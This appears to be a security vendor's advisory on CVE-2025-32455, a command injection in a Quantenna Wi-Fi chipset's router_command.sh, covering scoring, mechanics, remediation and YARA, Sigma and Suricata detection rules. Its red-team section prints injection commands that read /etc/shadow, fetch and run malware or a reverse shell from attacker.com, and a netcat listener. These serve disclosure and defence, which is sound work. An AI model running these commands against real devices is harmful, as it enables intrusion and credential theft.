CVE-2025-32455

Executive Summary

CVE-2025-32455 is a critical command injection vulnerability in the Quantenna Wi-Fi chipset, specifically within the router_command.sh script. This script, intended for local control, fails to properly sanitize the run_cmd argument, allowing an attacker with local access to execute arbitrary commands. The vulnerability is classified as CWE-88 (Argument Injection) and carries a CVSS score of 7.7, indicating high impact on confidentiality and integrity, though availability is not directly affected. As of the latest SDK version 8.0.0.28, no official patch has been released, leaving many devices potentially exposed. The vendor has only provided a best practices guide for implementors, which may not fully mitigate the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware chipset and its associated firmware/SDK, making it a supply chain issue for device manufacturers who integrate the Quantenna chipset. The lack of a patch means that downstream products remain vulnerable unless manufacturers apply custom mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (AV:L) – The attacker must have local access to the device.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need any privileges.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive data is possible.
• Integrity Impact: High (I:H) – Arbitrary command execution can modify system state.
• Availability Impact: None (A:N) – The vulnerability does not directly cause denial of service.

Threat Level: High. While the attack vector is local, the low complexity and lack of required privileges make it a significant risk for any device with the vulnerable chipset. An attacker who gains local access (e.g., via another vulnerability or physical access) can fully compromise the device.

Deep Dive & Mechanics

The vulnerability resides in the router_command.sh script, which is used for local management of the Quantenna Wi-Fi chipset. The script accepts a run_cmd argument that is passed to a shell command without proper sanitization. Specifically, the script does not neutralize argument delimiters (such as spaces, semicolons, or pipes), allowing an attacker to inject additional commands.

Root Cause: The script likely uses a function like eval or directly concatenates user input into a shell command string. For example:

run_cmd=$1
eval $run_cmd

This allows an attacker to provide input like ls; id to execute both ls and id.

Attack Scenario: An attacker with local shell access (e.g., via SSH, a web shell, or physical console) can execute:

./router_command.sh "run_cmd=cat /etc/shadow"

Or more maliciously:

./router_command.sh "run_cmd=wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware"

Impact: Full compromise of the device, including data theft, installation of backdoors, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/bash
# router_command.sh - Vulnerable version
run_cmd=$1
eval $run_cmd

Patched Code (Conceptual):

#!/bin/bash
# router_command.sh - Patched version
run_cmd=$1
# Validate input: only allow specific commands
allowed_commands=("status" "restart" "reset")
if [[ " ${allowed_commands[@]} " =~ " ${run_cmd} " ]]; then
    eval $run_cmd
else
    echo "Invalid command"
    exit 1
fi

Alternatively, using case statements or whitelisting arguments is recommended. The vendor's best practices guide likely suggests such input validation.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites: Local shell access to a device with the vulnerable Quantenna chipset.

Exploit Steps:

1. Gain local access (e.g., via SSH with default credentials, or through another vulnerability).
2. Execute the vulnerable script with a malicious run_cmd:

   ./router_command.sh "run_cmd=id"
   

3. To achieve persistence, download and execute a reverse shell:

   ./router_command.sh "run_cmd=wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"
   

Lab Setup:

• Use a vulnerable device (e.g., a router with Quantenna chipset) or a QEMU emulated environment.
• Set up a listener on the attacker machine: nc -lvnp 4444
• Execute the reverse shell command.

Blue Team (Defender)

Detection:

• Monitor for unusual execution of router_command.sh with suspicious arguments.
• Look for processes spawned by the script that are not in the allowed list.
• Use file integrity monitoring to detect changes to critical files.

Mitigation:

• Restrict access to the script using file permissions (e.g., chmod 700 router_command.sh).
• Implement a wrapper script that validates input before passing to the vulnerable script.
• Apply the vendor's best practices guide to harden the implementation.

Indicators of Compromise (IOCs)

• File: /path/to/router_command.sh (if accessible)
• Process: router_command.sh executed with unusual arguments
• Network: Outbound connections to unknown IPs on common ports (e.g., 80, 443, 4444)
• Logs: Shell history showing commands like run_cmd=wget, run_cmd=curl, or run_cmd=chmod
• System: Unexpected files in /tmp or /var/tmp with suspicious names

Detection Engineering

YARA Rule

rule CVE_2025_32455_Quantenna_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-32455 in Quantenna Wi-Fi chipset"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-32455"
    strings:
        $s1 = "router_command.sh" ascii wide nocase
        $s2 = "run_cmd=" ascii wide nocase
        $s3 = "wget" ascii wide nocase
        $s4 = "curl" ascii wide nocase
        $s5 = "chmod" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-32455 - Quantenna Command Injection via router_command.sh
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects execution of router_command.sh with suspicious arguments
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/router_command.sh'
        CommandLine|contains: 'run_cmd='
    condition: selection
falsepositives:
    - Legitimate administrative use of the script
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32455 - Quantenna Command Injection Outbound"; flow:to_server; content:"router_command.sh"; nocase; content:"run_cmd="; nocase; content:"wget"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Change permissions on router_command.sh to 700 (owner only) and ensure only trusted users have access.
2. Input Validation: Implement a wrapper script that whitelists allowed commands and sanitizes input.
3. Network Segmentation: Isolate devices with the vulnerable chipset from critical networks.
4. Monitor Logs: Enable auditing for execution of the script and review logs regularly.

Long-Term Fix:

• Contact Quantenna for a firmware update or apply the vendor's best practices guide.
• Consider replacing devices with patched alternatives if available.

Workaround:

• Remove or disable the router_command.sh script if not needed.
• Use a firewall to block outbound connections from the device to unknown IPs.

Valters IT
Securing Digital Frontiers